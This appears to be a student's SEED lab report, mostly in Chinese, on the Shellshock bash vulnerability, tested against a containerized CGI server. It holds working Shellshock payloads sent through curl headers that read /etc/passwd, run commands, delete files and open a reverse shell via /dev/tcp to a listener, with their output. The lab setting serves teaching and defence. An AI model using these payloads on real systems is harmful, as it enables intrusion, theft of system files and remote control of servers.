Shellshock Attack Lab

Task 1: Experimenting with Bash Function

Ubuntu 20.04 中的 bash 程序已经打过补丁，所以它不再容易受到 Shellshock 攻击。 出于本实验的目的，我们在容器内（/bin 内）安装了一个易受攻击的 bash 版本。 该程序也可以在 Labsetup 文件夹中找到（inside `image_www`）。 它的名字是 bash_shellshock。 我们需要在我们的任务中使用这个 bash。 您可以在容器中或直接在您的计算机上运行此 shell 程序。

请设计一个实验来验证这个 bash 是否容易受到 Shellshock 攻击。对补丁版本 /bin/bash 进行相同的实验并报告您的观察结果。

Shell_shock 环境下

```
root@bb8fbb9b7034:/# foo='() { echo "hello"; }; echo "extra"; '
root@bb8fbb9b7034:/# echo $foo
() { echo "hello"; }; echo "extra";
root@bb8fbb9b7034:/# export foo
root@bb8fbb9b7034:/# bash_shellshock
extra
root@bb8fbb9b7034:/# declare -f foo
foo ()
{
    echo "hello"
}
root@bb8fbb9b7034:/#
```

bash

```
root@bb8fbb9b7034:/# foo='() { echo "hello"; }; echo "extra"; '
root@bb8fbb9b7034:/# export foo
root@bb8fbb9b7034:/# bash
root@bb8fbb9b7034:/# declare -f foo
root@bb8fbb9b7034:/# echo $foo
() { echo "hello"; }; echo "extra";
root@bb8fbb9b7034:/#
```

Task 2: Passing Data to Bash via Environment Variable

2.2 using curl

如果我们想将环境变量数据设置为任意值，我们将不得不修改浏览器的行为，那太复杂了。 幸运的是，有一个名为 curl 的命令行工具，它允许用户控制 HTTP 请求中的大部分字段。 以下是一些有用的选项：（1）-v 字段可以打印出 HTTP 请求的标头；（2）-A, -e, -H 选项可以设置header请求中的一些字段，你需要弄清楚它们分别设置了哪些字段。 请在实验室报告中包括您的发现。

```
curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

```
root@bb8fbb9b7034:/# curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Oct 2023 05:01:26 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</add
ress>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.80
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=55358
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
* Connection #0 to host www.seedlab-shellshock.com left intact
```

-A

```
root@bb8fbb9b7034:/# curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: my data
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Oct 2023 05:03:26 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
```

-e

```
root@bb8fbb9b7034:/# curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Referer: my data
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Oct 2023 05:04:28 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
```

-H

```
root@bb8fbb9b7034:/# curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> AAAAAA: BBBBBB
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Oct 2023 05:05:35 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
```

- -A：设置用户代理（User-Agent）；
- -e：设置 HTTP 的标头Referer，表示请求的来源；
- -H：添加自定义的 HTTP 请求头。

Task3 : Launching the Shellshock Attack

Task 3.A: Get the server to send back the content of the /etc/passwd file.

```
curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/cat /etc/pas
```

```
root@bb8fbb9b7034:/# curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/cat /etc/pa
sswd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Task 3.B: Get the server to tell you its process' user ID. You can use the /bin/id command to print out the ID information

```
curl -e"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/id" http://w
```

```
# curl -e"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/id" http:/

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Task 3.C: Get the server to create a file inside the /tmp folder.

You need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -e"() { echo hello;} ; echo Content_type:text/plain; echo;
/bin/touch /tmp/hack_tempfile.txt" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -e"() { echo hello;} ; echo Content_type:text/plain; echo;
/bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
hack_tempfile.txt
```

Task 3.D: Get the server to delete the file that you just created inside the /tmp folder

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -H"re: () { echo hello;} ; echo Content_type:text/plain; ec
ho; /bin/rm /tmp/hack_tempfile.txt" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -H"re: () { echo hello;} ; echo Content_type:text/plain; ec
ho; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$
```

Question 1: Will you be able to steal the content of the shadow file /etc/shadow from the server?

答：不能。因为打开/etc/shadow需要root权限。从Task 3.B中我们可以知道当前用户id为33，并非root。

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -H"re: () { echo hello;} ; echo Content_type:text/plain; ec
ho; /bin/cat /etc/shadow" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
*   Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> re: () { echo hello;} ; echo Content_type:text/plain; echo; /bin/cat /etc/shadow
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Oct 2023 11:49:28 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
* Connection #0 to host www.seedlab-shellshock.com left intact
```

Question 2:

HTTP GET requests typically attach data in the URL, after the `?` mark. This could be another approach that we can use to launch the attack. In the following example, we attach some data in the URL, and we found that the data are used to set the following environment variable:

```
$ curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA"
...
UERY_STRING=AAAAA
...
```

Can we use this method to launch the Shellshock attack? Please conduct your experiment and derive your conclusions based on your experiment

Attempt 1

```
curl "http://www.seedlab-shellshock.com/cgi-bin/vul.cgi?() { echo hello;} ; echo
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</add
</body></html>
```

失败原因：URL对于特殊字符会使用转义URL 只能使用 ASCII 字符集 通过因特网进行发送。由于 URL 通常包含 ASCII 集之外的字符，因此必须将 URL 转换为有效的 ASCII 格式URL 编码使用后跟十六进制数字的 "%" 替代不安全的 ASCII 字符。
URL 不能包含空格

Task4： Getting a Reverse Shell via Shellshock Attack

- 打开攻击者的9090端口进行监听。

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ nc -lv 9090
nc: Address already in use
```

- 确定服务器的ip

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ ifconfig
br-b32c9431afdf: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
        inet6 fe80::42:f2ff:fe57:9e8c  prefixlen 64  scopeid 0x20<link>
        ether 02:42:f2:57:9e:8c  txqueuelen 0  (Ethernet)
        RX packets 111  bytes 10214 (10.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 153  bytes 15330 (15.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

- 建立反向shell

```
curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; echo; /bin/bash -
i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi
```

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ nc -lv 9090
Listening on 0.0.0.0 9090
^Z
[1]+  Stopped                 nc -lv 9090
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ bg 1
[1]+ nc -lv 9090 &
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1"
 http://10.9.0.80/cgi-bin/vul.cgi

Connection received on www.seedlab-shellshock.com 35738
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bb8fbb9b7034:/usr/lib/cgi-bin$ id
```

Task 5: Using the Patched Bash

`vul.cgi`的解释器改为bash

```
#!/bin/bash

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

redo task3

-A

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.co
m/cgi-bin/vul.cgi

Hello World
```

-e

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -e"() { echo hello;} ; echo Content_type:text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul
.cgi

Hello World
```

建立反向shell也失败

```
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ nc -lv 9090
Listening on 0.0.0.0 9090
^Z
[1]+  Stopped                 nc -lv 9090
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ bg 1
[1]+ nc -lv 9090 &
seed@VM-8-13-ubuntu:~/Lab2/Labsetup$ curl -A"() { echo hello;} ; echo Content_type:text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
 http://10.9.0.80/cgi-bin/vul.cgi

Hello World
```